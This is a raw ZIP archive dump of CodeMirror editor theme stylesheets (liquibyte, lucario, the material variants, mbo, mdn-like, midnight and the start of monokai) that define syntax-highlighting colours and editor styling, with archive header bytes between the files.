PKP��[�_�n��codemirror/theme/liquibyte.cssnu�[���.cm-s-liquibyte.CodeMirror
{
	background-color: #000;
	color: #fff;
	line-height: 1.2em;
	font-size: 1em;
}
.cm-s-liquibyte .CodeMirror-focused .cm-matchhighlight {
	text-decoration: underline;
	text-decoration-color: #0f0;
	text-decoration-style: wavy;
}
.cm-s-liquibyte .cm-trailingspace {
	text-decoration: line-through;
	text-decoration-color: #f00;
	text-decoration-style: dotted;
}
.cm-s-liquibyte .cm-tab {
	text-decoration: line-through;
	text-decoration-color: #404040;
	text-decoration-style: dotted;
}
.cm-s-liquibyte .CodeMirror-gutters { background-color: #262626;
border-right: 1px solid #505050; padding-right: 0.8em; }
.cm-s-liquibyte .CodeMirror-gutter-elt div { font-size: 1.2em; }
.cm-s-liquibyte .CodeMirror-guttermarker {  }
.cm-s-liquibyte .CodeMirror-guttermarker-subtle {  }
.cm-s-liquibyte .CodeMirror-linenumber { color: #606060; padding-left: 0; }
.cm-s-liquibyte .CodeMirror-cursor { border-left: 1px solid #eee; }

.cm-s-liquibyte span.cm-comment     { color: #008000; }
.cm-s-liquibyte span.cm-def         { color: #ffaf40; font-weight: bold; }
.cm-s-liquibyte span.cm-keyword     { color: #c080ff; font-weight: bold; }
.cm-s-liquibyte span.cm-builtin     { color: #ffaf40; font-weight: bold; }
.cm-s-liquibyte span.cm-variable    { color: #5967ff; font-weight: bold; }
.cm-s-liquibyte span.cm-string      { color: #ff8000; }
.cm-s-liquibyte span.cm-number      { color: #0f0; font-weight: bold; }
.cm-s-liquibyte span.cm-atom        { color: #bf3030; font-weight: bold; }

.cm-s-liquibyte span.cm-variable-2  { color: #007f7f; font-weight: bold; }
.cm-s-liquibyte span.cm-variable-3, .cm-s-liquibyte span.cm-type { color:
#c080ff; font-weight: bold; }
.cm-s-liquibyte span.cm-property    { color: #999; font-weight: bold; }
.cm-s-liquibyte span.cm-operator    { color: #fff; }

.cm-s-liquibyte span.cm-meta        { color: #0f0; }
.cm-s-liquibyte span.cm-qualifier   { color: #fff700; font-weight: bold; }
.cm-s-liquibyte span.cm-bracket     { color: #cc7; }
.cm-s-liquibyte span.cm-tag         { color: #ff0; font-weight: bold; }
.cm-s-liquibyte span.cm-attribute   { color: #c080ff; font-weight: bold; }
.cm-s-liquibyte span.cm-error       { color: #f00; }

.cm-s-liquibyte div.CodeMirror-selected { background-color: rgba(255, 0, 0,
0.25); }

.cm-s-liquibyte span.cm-compilation { background-color: rgba(255, 255, 255,
0.12); }

.cm-s-liquibyte .CodeMirror-activeline-background { background-color:
rgba(0, 255, 0, 0.15); }

/* Default styles for common addons */
.cm-s-liquibyte .CodeMirror span.CodeMirror-matchingbracket { color: #0f0;
font-weight: bold; }
.cm-s-liquibyte .CodeMirror span.CodeMirror-nonmatchingbracket { color:
#f00; font-weight: bold; }
.CodeMirror-matchingtag { background-color: rgba(150, 255, 0, .3); }
/* Scrollbars */
/* Simple */
.cm-s-liquibyte div.CodeMirror-simplescroll-horizontal div:hover,
.cm-s-liquibyte div.CodeMirror-simplescroll-vertical div:hover {
	background-color: rgba(80, 80, 80, .7);
}
.cm-s-liquibyte div.CodeMirror-simplescroll-horizontal div, .cm-s-liquibyte
div.CodeMirror-simplescroll-vertical div {
	background-color: rgba(80, 80, 80, .3);
	border: 1px solid #404040;
	border-radius: 5px;
}
.cm-s-liquibyte div.CodeMirror-simplescroll-vertical div {
	border-top: 1px solid #404040;
	border-bottom: 1px solid #404040;
}
.cm-s-liquibyte div.CodeMirror-simplescroll-horizontal div {
	border-left: 1px solid #404040;
	border-right: 1px solid #404040;
}
.cm-s-liquibyte div.CodeMirror-simplescroll-vertical {
	background-color: #262626;
}
.cm-s-liquibyte div.CodeMirror-simplescroll-horizontal {
	background-color: #262626;
	border-top: 1px solid #404040;
}
/* Overlay */
.cm-s-liquibyte div.CodeMirror-overlayscroll-horizontal div,
div.CodeMirror-overlayscroll-vertical div {
	background-color: #404040;
	border-radius: 5px;
}
.cm-s-liquibyte div.CodeMirror-overlayscroll-vertical div {
	border: 1px solid #404040;
}
.cm-s-liquibyte div.CodeMirror-overlayscroll-horizontal div {
	border: 1px solid #404040;
}
PKP��[U��zzzcodemirror/theme/lucario.cssnu�[���/*
  Name:       lucario
  Author:     Raphael Amorim

  Original Lucario color scheme (https://github.com/raphamorim/lucario)
*/

.cm-s-lucario.CodeMirror, .cm-s-lucario .CodeMirror-gutters {
  background-color: #2b3e50 !important;
  color: #f8f8f2 !important;
  border: none;
}
.cm-s-lucario .CodeMirror-gutters { color: #2b3e50; }
.cm-s-lucario .CodeMirror-cursor { border-left: solid thin #E6C845; }
.cm-s-lucario .CodeMirror-linenumber { color: #f8f8f2; }
.cm-s-lucario .CodeMirror-selected { background: #243443; }
.cm-s-lucario .CodeMirror-line::selection, .cm-s-lucario .CodeMirror-line
> span::selection, .cm-s-lucario .CodeMirror-line > span >
span::selection { background: #243443; }
.cm-s-lucario .CodeMirror-line::-moz-selection, .cm-s-lucario
.CodeMirror-line > span::-moz-selection, .cm-s-lucario .CodeMirror-line
> span > span::-moz-selection { background: #243443; }
.cm-s-lucario span.cm-comment { color: #5c98cd; }
.cm-s-lucario span.cm-string, .cm-s-lucario span.cm-string-2 { color:
#E6DB74; }
.cm-s-lucario span.cm-number { color: #ca94ff; }
.cm-s-lucario span.cm-variable { color: #f8f8f2; }
.cm-s-lucario span.cm-variable-2 { color: #f8f8f2; }
.cm-s-lucario span.cm-def { color: #72C05D; }
.cm-s-lucario span.cm-operator { color: #66D9EF; }
.cm-s-lucario span.cm-keyword { color: #ff6541; }
.cm-s-lucario span.cm-atom { color: #bd93f9; }
.cm-s-lucario span.cm-meta { color: #f8f8f2; }
.cm-s-lucario span.cm-tag { color: #ff6541; }
.cm-s-lucario span.cm-attribute { color: #66D9EF; }
.cm-s-lucario span.cm-qualifier { color: #72C05D; }
.cm-s-lucario span.cm-property { color: #f8f8f2; }
.cm-s-lucario span.cm-builtin { color: #72C05D; }
.cm-s-lucario span.cm-variable-3, .cm-s-lucario span.cm-type { color:
#ffb86c; }

.cm-s-lucario .CodeMirror-activeline-background { background: #243443; }
.cm-s-lucario .CodeMirror-matchingbracket { text-decoration: underline;
color: white !important; }
PKP��[u���/
/
$codemirror/theme/material-darker.cssnu�[���/*
  Name:       material
  Author:     Mattia Astorino (http://github.com/equinusocio)
  Website:    https://material-theme.site/
*/

.cm-s-material-darker.CodeMirror {
  background-color: #212121;
  color: #EEFFFF;
}

.cm-s-material-darker .CodeMirror-gutters {
  background: #212121;
  color: #545454;
  border: none;
}

.cm-s-material-darker .CodeMirror-guttermarker,
.cm-s-material-darker .CodeMirror-guttermarker-subtle,
.cm-s-material-darker .CodeMirror-linenumber {
  color: #545454;
}

.cm-s-material-darker .CodeMirror-cursor {
  border-left: 1px solid #FFCC00;
}

.cm-s-material-darker div.CodeMirror-selected {
  background: rgba(97, 97, 97, 0.2);
}

.cm-s-material-darker.CodeMirror-focused div.CodeMirror-selected {
  background: rgba(97, 97, 97, 0.2);
}

.cm-s-material-darker .CodeMirror-line::selection,
.cm-s-material-darker .CodeMirror-line>span::selection,
.cm-s-material-darker .CodeMirror-line>span>span::selection {
  background: rgba(128, 203, 196, 0.2);
}

.cm-s-material-darker .CodeMirror-line::-moz-selection,
.cm-s-material-darker .CodeMirror-line>span::-moz-selection,
.cm-s-material-darker .CodeMirror-line>span>span::-moz-selection {
  background: rgba(128, 203, 196, 0.2);
}

.cm-s-material-darker .CodeMirror-activeline-background {
  background: rgba(0, 0, 0, 0.5);
}

.cm-s-material-darker .cm-keyword {
  color: #C792EA;
}

.cm-s-material-darker .cm-operator {
  color: #89DDFF;
}

.cm-s-material-darker .cm-variable-2 {
  color: #EEFFFF;
}

.cm-s-material-darker .cm-variable-3,
.cm-s-material-darker .cm-type {
  color: #f07178;
}

.cm-s-material-darker .cm-builtin {
  color: #FFCB6B;
}

.cm-s-material-darker .cm-atom {
  color: #F78C6C;
}

.cm-s-material-darker .cm-number {
  color: #FF5370;
}

.cm-s-material-darker .cm-def {
  color: #82AAFF;
}

.cm-s-material-darker .cm-string {
  color: #C3E88D;
}

.cm-s-material-darker .cm-string-2 {
  color: #f07178;
}

.cm-s-material-darker .cm-comment {
  color: #545454;
}

.cm-s-material-darker .cm-variable {
  color: #f07178;
}

.cm-s-material-darker .cm-tag {
  color: #FF5370;
}

.cm-s-material-darker .cm-meta {
  color: #FFCB6B;
}

.cm-s-material-darker .cm-attribute {
  color: #C792EA;
}

.cm-s-material-darker .cm-property {
  color: #C792EA;
}

.cm-s-material-darker .cm-qualifier {
  color: #DECB6B;
}

.cm-s-material-darker .cm-variable-3,
.cm-s-material-darker .cm-type {
  color: #DECB6B;
}


.cm-s-material-darker .cm-error {
  color: rgba(255, 255, 255, 1.0);
  background-color: #FF5370;
}

.cm-s-material-darker .CodeMirror-matchingbracket {
  text-decoration: underline;
  color: white !important;
}PKP��[R��=

#codemirror/theme/material-ocean.cssnu�[���/*
  Name:       material
  Author:     Mattia Astorino (http://github.com/equinusocio)
  Website:    https://material-theme.site/
*/

.cm-s-material-ocean.CodeMirror {
  background-color: #0F111A;
  color: #8F93A2;
}

.cm-s-material-ocean .CodeMirror-gutters {
  background: #0F111A;
  color: #464B5D;
  border: none;
}

.cm-s-material-ocean .CodeMirror-guttermarker,
.cm-s-material-ocean .CodeMirror-guttermarker-subtle,
.cm-s-material-ocean .CodeMirror-linenumber {
  color: #464B5D;
}

.cm-s-material-ocean .CodeMirror-cursor {
  border-left: 1px solid #FFCC00;
}

.cm-s-material-ocean div.CodeMirror-selected {
  background: rgba(113, 124, 180, 0.2);
}

.cm-s-material-ocean.CodeMirror-focused div.CodeMirror-selected {
  background: rgba(113, 124, 180, 0.2);
}

.cm-s-material-ocean .CodeMirror-line::selection,
.cm-s-material-ocean .CodeMirror-line>span::selection,
.cm-s-material-ocean .CodeMirror-line>span>span::selection {
  background: rgba(128, 203, 196, 0.2);
}

.cm-s-material-ocean .CodeMirror-line::-moz-selection,
.cm-s-material-ocean .CodeMirror-line>span::-moz-selection,
.cm-s-material-ocean .CodeMirror-line>span>span::-moz-selection {
  background: rgba(128, 203, 196, 0.2);
}

.cm-s-material-ocean .CodeMirror-activeline-background {
  background: rgba(0, 0, 0, 0.5);
}

.cm-s-material-ocean .cm-keyword {
  color: #C792EA;
}

.cm-s-material-ocean .cm-operator {
  color: #89DDFF;
}

.cm-s-material-ocean .cm-variable-2 {
  color: #EEFFFF;
}

.cm-s-material-ocean .cm-variable-3,
.cm-s-material-ocean .cm-type {
  color: #f07178;
}

.cm-s-material-ocean .cm-builtin {
  color: #FFCB6B;
}

.cm-s-material-ocean .cm-atom {
  color: #F78C6C;
}

.cm-s-material-ocean .cm-number {
  color: #FF5370;
}

.cm-s-material-ocean .cm-def {
  color: #82AAFF;
}

.cm-s-material-ocean .cm-string {
  color: #C3E88D;
}

.cm-s-material-ocean .cm-string-2 {
  color: #f07178;
}

.cm-s-material-ocean .cm-comment {
  color: #464B5D;
}

.cm-s-material-ocean .cm-variable {
  color: #f07178;
}

.cm-s-material-ocean .cm-tag {
  color: #FF5370;
}

.cm-s-material-ocean .cm-meta {
  color: #FFCB6B;
}

.cm-s-material-ocean .cm-attribute {
  color: #C792EA;
}

.cm-s-material-ocean .cm-property {
  color: #C792EA;
}

.cm-s-material-ocean .cm-qualifier {
  color: #DECB6B;
}

.cm-s-material-ocean .cm-variable-3,
.cm-s-material-ocean .cm-type {
  color: #DECB6B;
}


.cm-s-material-ocean .cm-error {
  color: rgba(255, 255, 255, 1.0);
  background-color: #FF5370;
}

.cm-s-material-ocean .CodeMirror-matchingbracket {
  text-decoration: underline;
  color: white !important;
}PKP��[���t�
�
'codemirror/theme/material-palenight.cssnu�[���/*
  Name:       material
  Author:     Mattia Astorino (http://github.com/equinusocio)
  Website:    https://material-theme.site/
*/

.cm-s-material-palenight.CodeMirror {
  background-color: #292D3E;
  color: #A6ACCD;
}

.cm-s-material-palenight .CodeMirror-gutters {
  background: #292D3E;
  color: #676E95;
  border: none;
}

.cm-s-material-palenight .CodeMirror-guttermarker,
.cm-s-material-palenight .CodeMirror-guttermarker-subtle,
.cm-s-material-palenight .CodeMirror-linenumber {
  color: #676E95;
}

.cm-s-material-palenight .CodeMirror-cursor {
  border-left: 1px solid #FFCC00;
}

.cm-s-material-palenight div.CodeMirror-selected {
  background: rgba(113, 124, 180, 0.2);
}

.cm-s-material-palenight.CodeMirror-focused div.CodeMirror-selected {
  background: rgba(113, 124, 180, 0.2);
}

.cm-s-material-palenight .CodeMirror-line::selection,
.cm-s-material-palenight .CodeMirror-line>span::selection,
.cm-s-material-palenight .CodeMirror-line>span>span::selection {
  background: rgba(128, 203, 196, 0.2);
}

.cm-s-material-palenight .CodeMirror-line::-moz-selection,
.cm-s-material-palenight .CodeMirror-line>span::-moz-selection,
.cm-s-material-palenight .CodeMirror-line>span>span::-moz-selection {
  background: rgba(128, 203, 196, 0.2);
}

.cm-s-material-palenight .CodeMirror-activeline-background {
  background: rgba(0, 0, 0, 0.5);
}

.cm-s-material-palenight .cm-keyword {
  color: #C792EA;
}

.cm-s-material-palenight .cm-operator {
  color: #89DDFF;
}

.cm-s-material-palenight .cm-variable-2 {
  color: #EEFFFF;
}

.cm-s-material-palenight .cm-variable-3,
.cm-s-material-palenight .cm-type {
  color: #f07178;
}

.cm-s-material-palenight .cm-builtin {
  color: #FFCB6B;
}

.cm-s-material-palenight .cm-atom {
  color: #F78C6C;
}

.cm-s-material-palenight .cm-number {
  color: #FF5370;
}

.cm-s-material-palenight .cm-def {
  color: #82AAFF;
}

.cm-s-material-palenight .cm-string {
  color: #C3E88D;
}

.cm-s-material-palenight .cm-string-2 {
  color: #f07178;
}

.cm-s-material-palenight .cm-comment {
  color: #676E95;
}

.cm-s-material-palenight .cm-variable {
  color: #f07178;
}

.cm-s-material-palenight .cm-tag {
  color: #FF5370;
}

.cm-s-material-palenight .cm-meta {
  color: #FFCB6B;
}

.cm-s-material-palenight .cm-attribute {
  color: #C792EA;
}

.cm-s-material-palenight .cm-property {
  color: #C792EA;
}

.cm-s-material-palenight .cm-qualifier {
  color: #DECB6B;
}

.cm-s-material-palenight .cm-variable-3,
.cm-s-material-palenight .cm-type {
  color: #DECB6B;
}


.cm-s-material-palenight .cm-error {
  color: rgba(255, 255, 255, 1.0);
  background-color: #FF5370;
}

.cm-s-material-palenight .CodeMirror-matchingbracket {
  text-decoration: underline;
  color: white !important;
}PKP��[�_�2	2	codemirror/theme/material.cssnu�[���/*
  Name:       material
  Author:     Mattia Astorino (http://github.com/equinusocio)
  Website:    https://material-theme.site/
*/

.cm-s-material.CodeMirror {
  background-color: #263238;
  color: #EEFFFF;
}

.cm-s-material .CodeMirror-gutters {
  background: #263238;
  color: #546E7A;
  border: none;
}

.cm-s-material .CodeMirror-guttermarker,
.cm-s-material .CodeMirror-guttermarker-subtle,
.cm-s-material .CodeMirror-linenumber {
  color: #546E7A;
}

.cm-s-material .CodeMirror-cursor {
  border-left: 1px solid #FFCC00;
}

.cm-s-material div.CodeMirror-selected {
  background: rgba(128, 203, 196, 0.2);
}

.cm-s-material.CodeMirror-focused div.CodeMirror-selected {
  background: rgba(128, 203, 196, 0.2);
}

.cm-s-material .CodeMirror-line::selection,
.cm-s-material .CodeMirror-line>span::selection,
.cm-s-material .CodeMirror-line>span>span::selection {
  background: rgba(128, 203, 196, 0.2);
}

.cm-s-material .CodeMirror-line::-moz-selection,
.cm-s-material .CodeMirror-line>span::-moz-selection,
.cm-s-material .CodeMirror-line>span>span::-moz-selection {
  background: rgba(128, 203, 196, 0.2);
}

.cm-s-material .CodeMirror-activeline-background {
  background: rgba(0, 0, 0, 0.5);
}

.cm-s-material .cm-keyword {
  color: #C792EA;
}

.cm-s-material .cm-operator {
  color: #89DDFF;
}

.cm-s-material .cm-variable-2 {
  color: #EEFFFF;
}

.cm-s-material .cm-variable-3,
.cm-s-material .cm-type {
  color: #f07178;
}

.cm-s-material .cm-builtin {
  color: #FFCB6B;
}

.cm-s-material .cm-atom {
  color: #F78C6C;
}

.cm-s-material .cm-number {
  color: #FF5370;
}

.cm-s-material .cm-def {
  color: #82AAFF;
}

.cm-s-material .cm-string {
  color: #C3E88D;
}

.cm-s-material .cm-string-2 {
  color: #f07178;
}

.cm-s-material .cm-comment {
  color: #546E7A;
}

.cm-s-material .cm-variable {
  color: #f07178;
}

.cm-s-material .cm-tag {
  color: #FF5370;
}

.cm-s-material .cm-meta {
  color: #FFCB6B;
}

.cm-s-material .cm-attribute {
  color: #C792EA;
}

.cm-s-material .cm-property {
  color: #C792EA;
}

.cm-s-material .cm-qualifier {
  color: #DECB6B;
}

.cm-s-material .cm-variable-3,
.cm-s-material .cm-type {
  color: #DECB6B;
}


.cm-s-material .cm-error {
  color: rgba(255, 255, 255, 1.0);
  background-color: #FF5370;
}

.cm-s-material .CodeMirror-matchingbracket {
  text-decoration: underline;
  color: white !important;
}PKP��[_`a�@@codemirror/theme/mbo.cssnu�[���/****************************************************************/
/*   Based on mbonaci's Brackets mbo theme                      */
/*   https://github.com/mbonaci/global/blob/master/Mbo.tmTheme  */
/*   Create your own: http://tmtheme-editor.herokuapp.com       */
/****************************************************************/

.cm-s-mbo.CodeMirror { background: #2c2c2c; color: #ffffec; }
.cm-s-mbo div.CodeMirror-selected { background: #716C62; }
.cm-s-mbo .CodeMirror-line::selection, .cm-s-mbo .CodeMirror-line >
span::selection, .cm-s-mbo .CodeMirror-line > span > span::selection
{ background: rgba(113, 108, 98, .99); }
.cm-s-mbo .CodeMirror-line::-moz-selection, .cm-s-mbo .CodeMirror-line >
span::-moz-selection, .cm-s-mbo .CodeMirror-line > span >
span::-moz-selection { background: rgba(113, 108, 98, .99); }
.cm-s-mbo .CodeMirror-gutters { background: #4e4e4e; border-right: 0px; }
.cm-s-mbo .CodeMirror-guttermarker { color: white; }
.cm-s-mbo .CodeMirror-guttermarker-subtle { color: grey; }
.cm-s-mbo .CodeMirror-linenumber { color: #dadada; }
.cm-s-mbo .CodeMirror-cursor { border-left: 1px solid #ffffec; }

.cm-s-mbo span.cm-comment { color: #95958a; }
.cm-s-mbo span.cm-atom { color: #00a8c6; }
.cm-s-mbo span.cm-number { color: #00a8c6; }

.cm-s-mbo span.cm-property, .cm-s-mbo span.cm-attribute { color: #9ddfe9; }
.cm-s-mbo span.cm-keyword { color: #ffb928; }
.cm-s-mbo span.cm-string { color: #ffcf6c; }
.cm-s-mbo span.cm-string.cm-property { color: #ffffec; }

.cm-s-mbo span.cm-variable { color: #ffffec; }
.cm-s-mbo span.cm-variable-2 { color: #00a8c6; }
.cm-s-mbo span.cm-def { color: #ffffec; }
.cm-s-mbo span.cm-bracket { color: #fffffc; font-weight: bold; }
.cm-s-mbo span.cm-tag { color: #9ddfe9; }
.cm-s-mbo span.cm-link { color: #f54b07; }
.cm-s-mbo span.cm-error { border-bottom: #636363; color: #ffffec; }
.cm-s-mbo span.cm-qualifier { color: #ffffec; }

.cm-s-mbo .CodeMirror-activeline-background { background: #494b41; }
.cm-s-mbo .CodeMirror-matchingbracket { color: #ffb928 !important; }
.cm-s-mbo .CodeMirror-matchingtag { background: rgba(255, 255, 255, .37); }
PKP��[{N
LLcodemirror/theme/mdn-like.cssnu�[���/*
  MDN-LIKE Theme - Mozilla
  Ported to CodeMirror by Peter Kroon <plakroon@gmail.com>
  Report bugs/issues here: https://github.com/codemirror/CodeMirror/issues
  GitHub: @peterkroon

  The mdn-like theme is inspired on the displayed code examples at:
https://developer.mozilla.org/en-US/docs/Web/CSS/animation

*/
.cm-s-mdn-like.CodeMirror { color: #999; background-color: #fff; }
.cm-s-mdn-like div.CodeMirror-selected { background: #cfc; }
.cm-s-mdn-like .CodeMirror-line::selection, .cm-s-mdn-like .CodeMirror-line
> span::selection, .cm-s-mdn-like .CodeMirror-line > span >
span::selection { background: #cfc; }
.cm-s-mdn-like .CodeMirror-line::-moz-selection, .cm-s-mdn-like
.CodeMirror-line > span::-moz-selection, .cm-s-mdn-like .CodeMirror-line
> span > span::-moz-selection { background: #cfc; }

.cm-s-mdn-like .CodeMirror-gutters { background: #f8f8f8; border-left: 6px
solid rgba(0,83,159,0.65); color: #333; }
.cm-s-mdn-like .CodeMirror-linenumber { color: #aaa; padding-left: 8px; }
.cm-s-mdn-like .CodeMirror-cursor { border-left: 2px solid #222; }

.cm-s-mdn-like .cm-keyword { color: #6262FF; }
.cm-s-mdn-like .cm-atom { color: #F90; }
.cm-s-mdn-like .cm-number { color:  #ca7841; }
.cm-s-mdn-like .cm-def { color: #8DA6CE; }
.cm-s-mdn-like span.cm-variable-2, .cm-s-mdn-like span.cm-tag { color:
#690; }
.cm-s-mdn-like span.cm-variable-3, .cm-s-mdn-like span.cm-def,
.cm-s-mdn-like span.cm-type { color: #07a; }

.cm-s-mdn-like .cm-variable { color: #07a; }
.cm-s-mdn-like .cm-property { color: #905; }
.cm-s-mdn-like .cm-qualifier { color: #690; }

.cm-s-mdn-like .cm-operator { color: #cda869; }
.cm-s-mdn-like .cm-comment { color:#777; font-weight:normal; }
.cm-s-mdn-like .cm-string { color:#07a; font-style:italic; }
.cm-s-mdn-like .cm-string-2 { color:#bd6b18; } /*?*/
.cm-s-mdn-like .cm-meta { color: #000; } /*?*/
.cm-s-mdn-like .cm-builtin { color: #9B7536; } /*?*/
.cm-s-mdn-like .cm-tag { color: #997643; }
.cm-s-mdn-like .cm-attribute { color: #d6bb6d; } /*?*/
.cm-s-mdn-like .cm-header { color: #FF6400; }
.cm-s-mdn-like .cm-hr { color: #AEAEAE; }
.cm-s-mdn-like .cm-link { color:#ad9361; font-style:italic;
text-decoration:none; }
.cm-s-mdn-like .cm-error { border-bottom: 1px solid red; }

div.cm-s-mdn-like .CodeMirror-activeline-background { background: #efefff;
}
div.cm-s-mdn-like span.CodeMirror-matchingbracket { outline:1px solid grey;
color: inherit; }

.cm-s-mdn-like.CodeMirror { background-image:
url(data:image/png;base64,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);
}
PKP��[��@@codemirror/theme/midnight.cssnu�[���/*
Based on the theme at http://bonsaiden.github.com/JavaScript-Garden */

/*<!--activeline-->*/
.cm-s-midnight .CodeMirror-activeline-background { background: #253540; }

.cm-s-midnight.CodeMirror {
    background: #0F192A;
    color: #D1EDFF;
}

.cm-s-midnight div.CodeMirror-selected { background: #314D67; }
.cm-s-midnight .CodeMirror-line::selection, .cm-s-midnight .CodeMirror-line
> span::selection, .cm-s-midnight .CodeMirror-line > span >
span::selection { background: rgba(49, 77, 103, .99); }
.cm-s-midnight .CodeMirror-line::-moz-selection, .cm-s-midnight
.CodeMirror-line > span::-moz-selection, .cm-s-midnight .CodeMirror-line
> span > span::-moz-selection { background: rgba(49, 77, 103, .99); }
.cm-s-midnight .CodeMirror-gutters { background: #0F192A; border-right: 1px
solid; }
.cm-s-midnight .CodeMirror-guttermarker { color: white; }
.cm-s-midnight .CodeMirror-guttermarker-subtle { color: #d0d0d0; }
.cm-s-midnight .CodeMirror-linenumber { color: #D0D0D0; }
.cm-s-midnight .CodeMirror-cursor { border-left: 1px solid #F8F8F0; }

.cm-s-midnight span.cm-comment { color: #428BDD; }
.cm-s-midnight span.cm-atom { color: #AE81FF; }
.cm-s-midnight span.cm-number { color: #D1EDFF; }

.cm-s-midnight span.cm-property, .cm-s-midnight span.cm-attribute { color:
#A6E22E; }
.cm-s-midnight span.cm-keyword { color: #E83737; }
.cm-s-midnight span.cm-string { color: #1DC116; }

.cm-s-midnight span.cm-variable { color: #FFAA3E; }
.cm-s-midnight span.cm-variable-2 { color: #FFAA3E; }
.cm-s-midnight span.cm-def { color: #4DD; }
.cm-s-midnight span.cm-bracket { color: #D1EDFF; }
.cm-s-midnight span.cm-tag { color: #449; }
.cm-s-midnight span.cm-link { color: #AE81FF; }
.cm-s-midnight span.cm-error { background: #F92672; color: #F8F8F0; }

.cm-s-midnight .CodeMirror-matchingbracket {
  text-decoration: underline;
  color: white !important;
}
PKP��[�̠���codemirror/theme/monokai.cssnu�[���/*
Based on Sublime Text's Monokai theme */

.cm-s-monokai.CodeMirror { background: #272822; color: #f8f8f2; }
.cm-s-monokai div.CodeMirror-selected { background: #49483E; }
.cm-s-monokai .CodeMirror-line::selection, .cm-s-monokai .CodeMirror-line
> span::selection, .cm-s-monokai .CodeMirror-line > span >
span::selection { background: rgba(73, 72, 62, .99); }
.cm-s-monokai .CodeMirror-line::-moz-selection, .cm-s-monokai
.CodeMirror-line > span::-moz-selection, .cm-s-monokai .CodeMirror-line
> span > span::-moz-selection { background: rgba(73, 72, 62, .99); }
